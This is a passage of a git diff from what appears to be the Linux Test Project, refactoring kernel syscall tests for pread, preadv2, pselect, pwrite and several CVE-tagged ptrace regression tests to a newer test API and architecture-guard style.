-				 "malloc() failed on read/write buffers");
-		}
-		memset(write_buf[count], count, K1);
-	}
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- *  Deallocate the memory allocated to read/write buffers.
- *  Close the temporary file.
- *  Remove the temporary directory created.
- */
-void cleanup(void)
-{
-	int count;
-
-	/* Free the memory allocated for the read/write buffer */
-	for (count = 0; count < NBUFS; count++) {
-		free(write_buf[count]);
-		free(read_buf[count]);
-	}
-
-	/* Close the temporary file created in setup2 */
-	SAFE_CLOSE(NULL, fd1);
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_pread,
+};
diff --git a/testcases/kernel/syscalls/pread/pread03.c b/testcases/kernel/syscalls/pread/pread03.c
deleted file mode 100644
index 51819e7..0000000
--- a/testcases/kernel/syscalls/pread/pread03.c
+++ /dev/null
@@ -1,214 +0,0 @@
-/*
- *
- *   Copyright (C) Bull S.A. 2001
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: pread03
- *
- * Test Description:
- *  Verify that,
- *   1) pread() fails when fd refers to a directory.
- *
- *
- * Expected Result:
- *   1) pread() should return -1 and set errno to EISDIR.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *   Create a temporary directory.
- *   Get the currect directory name
- *   Open temporary directory
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *      if errno set == expected errno
- *              Issue sys call fails with expected return value and errno.
- *      Otherwise,
- *              Issue sys call fails with unexpected errno.
- *   Otherwise,
- *      Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory(s)/file(s) created.
- *
- * Usage:  <for command-line>
- *  pread03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	04/2002 Ported by André Merlier
- *
- * RESTRICTIONS:
- *  None.
- */
-
-#define _XOPEN_SOURCE 500
-
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <string.h>
-#include <stdlib.h>
-#include <sys/file.h>
-
-#include "test.h"
-
-#define PREAD_TEMPDIR	"test"
-#define K1              2048
-#define NBUFS           1
-
-char *TCID = "pread03";
-int TST_TOTAL = 1;
-
-char *read_buf[NBUFS];		/* buffer to hold data read from file */
-int fd1;
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-void init_buffers();		/* function to initialize/allocate buffers */
-
-int main(int ac, char **av)
-{
-	int lc;
-	size_t nbytes;		/* no. of bytes to be written */
-	off_t offset;		/* offset position in the specified file */
-	char *test_desc;	/* test specific error message */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* Check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		test_desc = "EISDIR";
-		nbytes = K1;
-		offset = 20;
-
-		TEST(pread(fd1, read_buf[0], nbytes, offset));
-
-		/* Check for the return code of pread() */
-		if (TEST_RETURN != -1) {
-			tst_brkm(TFAIL, cleanup, "pread() returned "
-				 "%ld, expected -1, errno:%d\n",
-				 TEST_RETURN, EISDIR);
-		}
-
-		/*
-		 * Verify whether expected errno is set.
-		 */
-		if (TEST_ERRNO == EISDIR) {
-			tst_resm(TPASS,
-				 "pread() fails with expected error EISDIR errno:%d",
-				 TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "pread() fails, %s, unexpected "
-				 "errno:%d, expected:%d\n", test_desc,
-				 TEST_ERRNO, EISDIR);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- *           create temporary directory and open it
- */
-void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Allocate the read buffer */
-	init_buffers();
-
-	tst_tmpdir();
-
-	/*
-	 * create a temporary directory
-	 */
-	if (mkdir(PREAD_TEMPDIR, 0777) != 0) {
-		tst_resm(TFAIL, "mkdir() failed to create" " test directory");
-		exit(1);
-
-	}
-
-	/* open temporary directory used for test */
-	if ((fd1 = open(PREAD_TEMPDIR, O_RDONLY)) < 0) {
-		tst_brkm(TBROK, cleanup, "open() on %s Failed, errno=%d : %s",
-			 PREAD_TEMPDIR, errno, strerror(errno));
-	}
-}
-
-/*
- * init_buffers() - allocate/Initialize write_buf array.
- *
- *  Allocate read buffer.
- */
-void init_buffers(void)
-{
-	int count;		/* counter variable for loop */
-
-	/* Allocate and Initialize read buffer */
-	for (count = 0; count < NBUFS; count++) {
-		read_buf[count] = malloc(K1);
-
-		if (read_buf[count] == NULL) {
-			tst_brkm(TBROK, NULL,
-				 "malloc() failed on read buffers");
-		}
-	}
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- *  Close/Remove the temporary directory created.
- */
-void cleanup(void)
-{
-	int count;
-
-	/* Free the memory allocated for the read buffer */
-	for (count = 0; count < NBUFS; count++) {
-		free(read_buf[count]);
-	}
-
-	/* delete the test directory created in setup() */
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/preadv2/Makefile b/testcases/kernel/syscalls/preadv2/Makefile
index fbedd02..d4f4f55 100644
--- a/testcases/kernel/syscalls/preadv2/Makefile
+++ b/testcases/kernel/syscalls/preadv2/Makefile
@@ -11,8 +11,7 @@
 
 %_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64
 
-preadv203: CFLAGS += -pthread
-preadv203_64: CFLAGS += -pthread
+preadv203 preadv203_64: CFLAGS += -pthread
 preadv203_64: LDFLAGS += -pthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/preadv2/preadv203.c b/testcases/kernel/syscalls/preadv2/preadv203.c
index 01622ad..60dc4a8 100644
--- a/testcases/kernel/syscalls/preadv2/preadv203.c
+++ b/testcases/kernel/syscalls/preadv2/preadv203.c
@@ -199,7 +199,6 @@
 static void verify_preadv2(void)
 {
 	pthread_t reader, dropper, writer;
-	unsigned int max_runtime = 600;
 	void *eagains;
 
 	stop = 0;
@@ -210,7 +209,7 @@
 	SAFE_PTHREAD_CREATE(&reader, NULL, nowait_reader, NULL);
 	SAFE_PTHREAD_CREATE(&writer, NULL, writer_thread, NULL);
 
-	while (!stop && max_runtime-- > 0)
+	while (!stop && tst_remaining_runtime())
 		usleep(100000);
 
 	stop = 1;
@@ -279,5 +278,6 @@
 	.mntpoint = MNTPOINT,
 	.mount_device = 1,
 	.all_filesystems = 1,
+	.max_runtime = 60,
 	.needs_root = 1,
 };
diff --git a/testcases/kernel/syscalls/pselect/pselect02.c b/testcases/kernel/syscalls/pselect/pselect02.c
index d31621d..391a31b 100644
--- a/testcases/kernel/syscalls/pselect/pselect02.c
+++ b/testcases/kernel/syscalls/pselect/pselect02.c
@@ -1,118 +1,62 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2014 Fujitsu Ltd.
  * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Library General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *
- */
-/*
- * Test Description:
- *  Verify that,
- *   1. pselect() fails with -1 return value and sets errno to EBADF
- *      if a file descriptor that was already closed.
- *   2. pselect() fails with -1 return value and sets errno to EINVAL
- *      if nfds was negative.
- *   3. pselect() fails with -1 return value and sets errno to EINVAL
- *      if the value contained within timeout was invalid.
  */
 
-#include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
+/*\
+ * [Description]
+ *
+ *  Verify that pselect() fails with:
+ *
+ *  - EBADF if a file descriptor that was already closed
+ *  - EINVAL if nfds was negative
+ *  - EINVAL if the value contained within timeout was invalid
+ */
 
-TCID_DEFINE(pselect02);
+#include "tst_test.h"
 
 static fd_set read_fds;
 static struct timespec time_buf;
 
-static struct test_case_t {
+static struct tcase {
 	int nfds;
 	fd_set *readfds;
 	struct timespec *timeout;
 	int exp_errno;
-} test_cases[] = {
+} tcases[] = {
 	{128, &read_fds, NULL, EBADF},
 	{-1, NULL, NULL, EINVAL},
 	{128, NULL, &time_buf, EINVAL},
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void setup(void);
-static void cleanup(void);
-static void pselect_verify(const struct test_case_t *);
-
-int main(int argc, char **argv)
-{
-	int lc, i;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			pselect_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
 	int fd;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fd = SAFE_OPEN(cleanup, "test_file", O_RDWR | O_CREAT, 0777);
+	fd = SAFE_OPEN("test_file", O_RDWR | O_CREAT, 0777);
 
 	FD_ZERO(&read_fds);
 	FD_SET(fd, &read_fds);
 
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_CLOSE(fd);
 
 	time_buf.tv_sec = -1;
 	time_buf.tv_nsec = 0;
 }
 
-static void pselect_verify(const struct test_case_t *test)
+static void pselect_verify(unsigned int i)
 {
-	TEST(pselect(test->nfds, test->readfds, NULL, NULL, test->timeout,
-	     NULL));
+	struct tcase *tc = &tcases[i];
 
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "pselect() succeeded unexpectedly");
-		return;
-	}
-
-	if (TEST_ERRNO == test->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "pselect() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "pselect() failed unexpectedly; expected: %d - %s",
-			 test->exp_errno, strerror(test->exp_errno));
-	}
+	TST_EXP_FAIL(pselect(tc->nfds, tc->readfds, NULL, NULL, tc->timeout, NULL),
+			tc->exp_errno, "pselect(%i, %p, %p)",
+			tc->nfds, tc->readfds, tc->timeout);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = pselect_verify,
+	.setup = setup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/ptrace/ptrace07.c b/testcases/kernel/syscalls/ptrace/ptrace07.c
index 9e3f751..da62cad 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace07.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace07.c
@@ -48,13 +48,13 @@
 # define NT_X86_XSTATE 0x202
 #endif
 
-#ifdef __x86_64__
 static void check_regs_loop(uint32_t initval)
 {
 	const unsigned long num_iters = 1000000000;
 	uint32_t xmm0[4] = { initval, initval, initval, initval };
 	int status = 1;
 
+#ifdef __x86_64__
 	asm volatile("   movdqu %0, %%xmm0\n"
 		     "   mov %0, %%rbx\n"
 		     "1: dec %2\n"
@@ -68,6 +68,7 @@
 		     "3:\n"
 		     : "+m" (xmm0), "+r" (status)
 		     : "r" (num_iters) : "rax", "rbx", "xmm0");
+#endif
 
 	if (status) {
 		tst_res(TFAIL,
@@ -178,6 +179,10 @@
 	.test_all = do_test,
 	.forks_child = 1,
 	.needs_checkpoints = 1,
+	.supported_archs = (const char *const []) {
+		"x86_64",
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "814fb7bb7db5"},
 		{"CVE", "2017-15537"},
@@ -185,7 +190,3 @@
 	}
 
 };
-
-#else /* !__x86_64__ */
-	TST_TEST_TCONF("this test is only supported on x86_64");
-#endif /* __x86_64__ */
diff --git a/testcases/kernel/syscalls/ptrace/ptrace08.c b/testcases/kernel/syscalls/ptrace/ptrace08.c
index f86f69a..d17d6b4 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace08.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace08.c
@@ -43,47 +43,18 @@
 #include "tst_test.h"
 #include "tst_safe_stdio.h"
 
-#if defined(__i386__) || defined(__x86_64__)
-
 static pid_t child_pid;
 
-#if defined(__x86_64__)
-# define KERN_ADDR_MIN 0xffff800000000000
-# define KERN_ADDR_MAX 0xffffffffffffffff
-# define KERN_ADDR_BITS 64
-#elif defined(__i386__)
+#if defined(__i386__)
 # define KERN_ADDR_MIN 0xc0000000
 # define KERN_ADDR_MAX 0xffffffff
 # define KERN_ADDR_BITS 32
+#else
+# define KERN_ADDR_MIN 0xffff800000000000
+# define KERN_ADDR_MAX 0xffffffffffffffff
+# define KERN_ADDR_BITS 64
 #endif
 
-static int deffered_check;
-
-static struct tst_kern_exv kvers[] = {
-	{"RHEL8", "4.18.0-49"},
-	{NULL, NULL},
-};
-
-static void setup(void)
-{
-	/*
-	 * When running in compat mode we can't pass 64 address to ptrace so we
-	 * have to skip the test.
-	 */
-	if (tst_kernel_bits() != KERN_ADDR_BITS)
-		tst_brk(TCONF, "Cannot pass 64bit kernel address in compat mode");
-
-
-	/*
-	 * The original fix for the kernel haven't rejected the kernel address
-	 * right away when breakpoint was modified from userspace it was
-	 * disabled instead and the EINVAL was returned when dr7 was written to
-	 * enable it again. On RHEL8, it has introduced the right fix since
-	 * 4.18.0-49.
-	 */
-	if (tst_kvercmp2(4, 19, 0, kvers) < 0)
-		deffered_check = 1;
-}
 
 static void child_main(void)
 {
@@ -106,6 +77,7 @@
 	if (SAFE_WAITPID(child_pid, &status, WUNTRACED) != child_pid)
 		tst_brk(TBROK, "Received event from unexpected PID");
 
+#if defined(__i386__) || defined(__x86_64__)
 	SAFE_PTRACE(PTRACE_ATTACH, child_pid, NULL, NULL);
 	SAFE_PTRACE(PTRACE_POKEUSER, child_pid,
 		(void *)offsetof(struct user, u_debugreg[0]), (void *)1);
@@ -116,9 +88,13 @@
 		(void *)offsetof(struct user, u_debugreg[0]),
 		(void *)kern_addr));
 
-	if (deffered_check) {
-		TEST(ptrace(PTRACE_POKEUSER, child_pid,
-			(void *)offsetof(struct user, u_debugreg[7]), (void *)1));
+	if (TST_RET == -1) {
+		addr = ptrace(PTRACE_PEEKUSER, child_pid,
+					  (void *)offsetof(struct user, u_debugreg[0]), NULL);
+		if (addr == kern_addr) {
+			TEST(ptrace(PTRACE_POKEUSER, child_pid,
+				(void *)offsetof(struct user, u_debugreg[7]), (void *)1));
+		}
 	}
 
 	if (TST_RET != -1) {
@@ -133,11 +109,7 @@
 		}
 	}
 
-	addr = ptrace(PTRACE_PEEKUSER, child_pid,
-	              (void*)offsetof(struct user, u_debugreg[0]), NULL);
-
-	if (!deffered_check && addr == kern_addr)
-		tst_res(TFAIL, "Was able to set breakpoint on kernel addr");
+#endif
 
 	SAFE_PTRACE(PTRACE_DETACH, child_pid, NULL, NULL);
 	SAFE_KILL(child_pid, SIGCONT);
@@ -161,9 +133,18 @@
 
 static struct tst_test test = {
 	.test_all = run,
-	.setup = setup,
 	.cleanup = cleanup,
 	.forks_child = 1,
+	/*
+	 * When running in compat mode we can't pass 64 address to ptrace so we
+	 * have to skip the test.
+	 */
+	.skip_in_compat = 1,
+	.supported_archs = (const char *const []) {
+		"x86",
+		"x86_64",
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "f67b15037a7a"},
 		{"CVE", "2018-1000199"},
@@ -171,6 +152,3 @@
 		{}
 	}
 };
-#else
-TST_TEST_TCONF("This test is only supported on x86 systems");
-#endif
diff --git a/testcases/kernel/syscalls/ptrace/ptrace09.c b/testcases/kernel/syscalls/ptrace/ptrace09.c
index 85875ce..7ceee13 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace09.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace09.c
@@ -22,7 +22,6 @@
 #include <signal.h>
 #include "tst_test.h"
 
-#if defined(__i386__) || defined(__x86_64__)
 static short watchpoint;
 static pid_t child_pid;
 
@@ -46,6 +45,7 @@
 {
 	int status;
 
+#if defined(__i386__) || defined(__x86_64__)
 	child_pid = SAFE_FORK();
 
 	if (!child_pid) {
@@ -60,6 +60,7 @@
 	SAFE_PTRACE(PTRACE_POKEUSER, child_pid,
 		(void *)offsetof(struct user, u_debugreg[7]), (void *)0x30001);
 	SAFE_PTRACE(PTRACE_CONT, child_pid, NULL, NULL);
+#endif
 
 	while (1) {
 		if (SAFE_WAITPID(child_pid, &status, 0) != child_pid)
@@ -92,12 +93,14 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.forks_child = 1,
+	.supported_archs = (const char *const []) {
+		"x86",
+		"x86_64",
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d8ba61ba58c8"},
 		{"CVE", "2018-8897"},
 		{}
 	}
 };
-#else
-TST_TEST_TCONF("This test is only supported on x86 systems");
-#endif
diff --git a/testcases/kernel/syscalls/ptrace/ptrace10.c b/testcases/kernel/syscalls/ptrace/ptrace10.c
index b5d6b9f..309df7f 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace10.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace10.c
@@ -22,8 +22,6 @@
 #include <signal.h>
 #include "tst_test.h"
 
-#if defined(__i386__) || defined(__x86_64__)
-
 static pid_t child_pid;
 
 static void child_main(void)
@@ -45,6 +43,7 @@
 	if (SAFE_WAITPID(child_pid, &status, WUNTRACED) != child_pid)
 		tst_brk(TBROK, "Received event from unexpected PID");
 
+#if defined(__i386__) || defined(__x86_64__)
 	SAFE_PTRACE(PTRACE_ATTACH, child_pid, NULL, NULL);
 	SAFE_PTRACE(PTRACE_POKEUSER, child_pid,
 		(void *)offsetof(struct user, u_debugreg[0]), (void *)1);
@@ -53,6 +52,7 @@
 
 	addr = ptrace(PTRACE_PEEKUSER, child_pid,
 	              (void*)offsetof(struct user, u_debugreg[0]), NULL);
+#endif
 
 	if (addr == 2)
 		tst_res(TPASS, "The rd0 was set on second PTRACE_POKEUSR");
@@ -76,11 +76,13 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.forks_child = 1,
+	.supported_archs = (const char *const []) {
+		"x86",
+		"x86_64",
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "bd14406b78e6"},
 		{}
 	}
 };
-#else
-TST_TEST_TCONF("This test is only supported on x86 systems");
-#endif
diff --git a/testcases/kernel/syscalls/pwrite/pwrite01.c b/testcases/kernel/syscalls/pwrite/pwrite01.c
index 937160a..c517ec2 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite01.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite01.c
@@ -1,86 +1,24 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Name: pwrite01
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify the functionality of pwrite() by writing known data using pwrite()
- *  to the file at various specified offsets and later read from the file from
- *  various specified offsets, comparing the data written aganist the data
- *  read using read().
- *
- * Expected Result:
- *  pwrite() should succeed to write the expected no. of bytes of data and
- *  the data written at specified offsets should match aganist the data read
- *  from that offset.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  pwrite01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
+ * Verify the functionality of pwrite() by writing known data using pwrite()
+ * to the file at various specified offsets and later read from the file from
+ * various specified offsets, comparing the data written aganist the data
+ * read using read().
  */
 
-#define _XOPEN_SOURCE 500
-
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <stdlib.h>
-#include <string.h>
 #include <inttypes.h>
+#include "tst_test.h"
+#include "tst_safe_prw.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define _XOPEN_SOURCE 500
 #define TEMPFILE	"pwrite_file"
 #define K1              1024
 #define K2              (K1 * 2)
@@ -88,249 +26,89 @@
 #define K4              (K1 * 4)
 #define NBUFS           4
 
-char *TCID = "pwrite01";
-int TST_TOTAL = 1;
-int fildes;			/* file descriptor for tempfile */
-char *write_buf[NBUFS];		/* buffer to hold data to be written */
+static int fildes;
+static char *write_buf[NBUFS];
+static char *read_buf[NBUFS];
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-void l_seek(int, off_t, int, off_t);	/* function to call lseek() */
-void init_buffers();		/* function to initialize/allocate buffers */
-void check_file_contents();	/* function to verify the contents of file */
-
-int main(int ac, char **av)
+static void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
 {
-	int lc;
-	int nwrite;		/* no. of bytes written by pwrite() */
+	off_t offloc;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call pwrite() to write K1 bytes of data (0's) at offset 0
-		 * of temporary file
-		 */
-		nwrite = pwrite(fildes, write_buf[0], K1, 0);
-
-		/* Check for the return value of pwrite() */
-		if (nwrite != K1) {
-			tst_resm(TFAIL, "pwrite() at offset 0 failed, errno=%d "
-				 ": %s", errno, strerror(errno));
-			continue;
-		}
-
-		/* We should still be at offset 0. */
-		l_seek(fildes, 0, SEEK_CUR, 0);
-
-		/*
-		 * Now, lseek() to a non K boundary,
-		 * just to be different.
-		 */
-		l_seek(fildes, K1 / 2, SEEK_SET, K1 / 2);
-
-		/*
-		 * Again, pwrite() K1 of data (2's) at offset K2 of
-		 * temporary file.
-		 */
-		nwrite = pwrite(fildes, write_buf[2], K1, K2);
-		if (nwrite != K1) {
-			tst_resm(TFAIL, "pwrite() failed to "
-				 "write at %d off. on %s, errno=%d : %s",
-				 K2, TEMPFILE, errno, strerror(errno));
-			continue;
-		}
-
-		/* We should still be at our non K boundary. */
-		l_seek(fildes, 0, SEEK_CUR, K1 / 2);
-
-		/* lseek() to an offset of K3. */
-		l_seek(fildes, K3, SEEK_SET, K3);
-
-		/*
-		 * Using write(), write of K1 of data (3's) which
-		 * should take place at an offset of K3,
-		 * moving the file pointer to K4.
-		 */
-		nwrite = write(fildes, write_buf[3], K1);
-		if (nwrite != K1) {
-			tst_resm(TFAIL, "write() failed: nwrite=%d, errno=%d : "
-				 "%s", nwrite, errno, strerror(errno));
-			continue;
-		}
-
-		/* We should be at offset K4. */
-		l_seek(fildes, 0, SEEK_CUR, K4);
-
-		/* Again, pwrite() K1 of data (1's) at offset K1. */
-		nwrite = pwrite(fildes, write_buf[1], K1, K1);
-		if (nwrite != K1) {
-			tst_resm(TFAIL, "pwrite() failed to write at "
-				 "%d off. on %s, errno=%d : %s",
-				 K1, TEMPFILE, errno, strerror(errno));
-			continue;
-		}
-
-		/*
-		 * Check the contents of temporary file
-		 * to which data written using pwrite().
-		 * Compare the data read with the original
-		 * write_buf[] contents.
-		 */
-		check_file_contents();
-
-		/* reset to offset 0 in case we are looping */
-		l_seek(fildes, 0, SEEK_SET, 0);
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- *  Initialize/allocate read/write buffers.
- *  Create a temporary directory and a file under it and
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Allocate/Initialize the write buffer with known data */
-	init_buffers();
-
-	tst_tmpdir();
-
-	/* Creat a temporary file used for mapping */
-	if ((fildes = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0) {
-		tst_brkm(TBROK, cleanup, "open() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
+	offloc = SAFE_LSEEK(fdesc, offset, whence);
+	if (offloc != checkoff) {
+		tst_res(TFAIL, "return = %" PRId64 ", expected %" PRId64,
+			(int64_t) offloc, (int64_t) checkoff);
 	}
 }
 
-/*
- * init_buffers() - allocate/Initialize write_buf array.
- *
- *  Allocate write buffer.
- *  Fill the write buffer with the following data like,
- *    write_buf[0] has 0's, write_buf[1] has 1's, write_buf[2] has 2's
- *    write_buf[3] has 3's.
- */
-void init_buffers(void)
+static void check_file_contents(void)
 {
-	int count;		/* counter variable for loop */
+	int count, err_flg = 0;
 
-	/* Allocate and Initialize write buffer with known data */
 	for (count = 0; count < NBUFS; count++) {
-		write_buf[count] = malloc(K1);
+		l_seek(fildes, count * K1, SEEK_SET, count * K1);
 
-		if (write_buf[count] == NULL) {
-			tst_brkm(TBROK, NULL, "malloc() failed ");
-		}
-		memset(write_buf[count], count, K1);
-	}
-}
+		SAFE_READ(1, fildes, read_buf[count], K1);
 
-/*
- * l_seek() - local front end to lseek().
- *
- *  "checkoff" is the offset at which we believe we should be at.
- *  Used to validate pread/pwrite don't move the offset.
- */
-void l_seek(int fdesc, off_t offset, int whence, off_t checkoff)
-{
-	off_t offloc;		/* offset ret. from lseek() */
-
-	if ((offloc = lseek(fdesc, offset, whence)) != checkoff) {
-		tst_resm(TWARN, "lseek returned %" PRId64 ", expected %" PRId64,
-			 (int64_t) offloc, (int64_t) checkoff);
-		tst_brkm(TBROK | TERRNO, cleanup, "lseek() on %s Failed",
-			 TEMPFILE);
-	}
-}
-
-/*
- * check_file_contents() - Check the contents of the file we wrote with
- *			   pwrite()'s.
- *  The contents of the file are verified by using a plain read() and
- *  Compare the data read with the original write_buf[] contents.
- */
-void check_file_contents(void)
-{
-	int count, err_flg = 0;	/* index variable and error flag */
-	int nread;		/* return value of read() */
-	off_t offloc;		/* offset. ret. by lseek() */
-	char *read_buf;		/* buffer to hold read data */
-
-	/* Allocate space for read buffer */
-	read_buf = malloc(K1);
-	if (read_buf == NULL) {
-		tst_brkm(TBROK, cleanup, "malloc() failed on read buffer");
-	}
-
-	/* Seek to app. location of file and read the data, compare it */
-	for (count = 0; count < NBUFS; count++) {
-		/* Seek to specified offset position from beginning */
-		offloc = lseek(fildes, count * K1, SEEK_SET);
-		if (offloc != (count * K1)) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "lseek() failed: offloc=%" PRId64,
-				 (int64_t) offloc);
-		}
-
-		/* Read the data from file into a buffer */
-		nread = read(fildes, read_buf, K1);
-		if (nread != K1) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "read() failed: nread=%d", nread);
-		}
-
-		/* Compare the read data with the data written using pwrite */
-		if (memcmp(write_buf[count], read_buf, K1) != 0) {
-			tst_resm(TFAIL, "read/write buffer data mismatch");
+		if (memcmp(write_buf[count], read_buf[count], K1) != 0) {
+			tst_res(TFAIL, "read/write buffer[%d] data mismatch", count);
 			err_flg++;
 		}
 	}
 
-	/* If no erros, Test successful */
-	if (!err_flg) {
-		tst_resm(TPASS, "Functionality of pwrite() successful");
-	}
-
-	/* Release the memory allocated before return */
-	free(read_buf);
+	if (!err_flg)
+		tst_res(TPASS, "Functionality of pwrite() successful");
 }
 
-/*
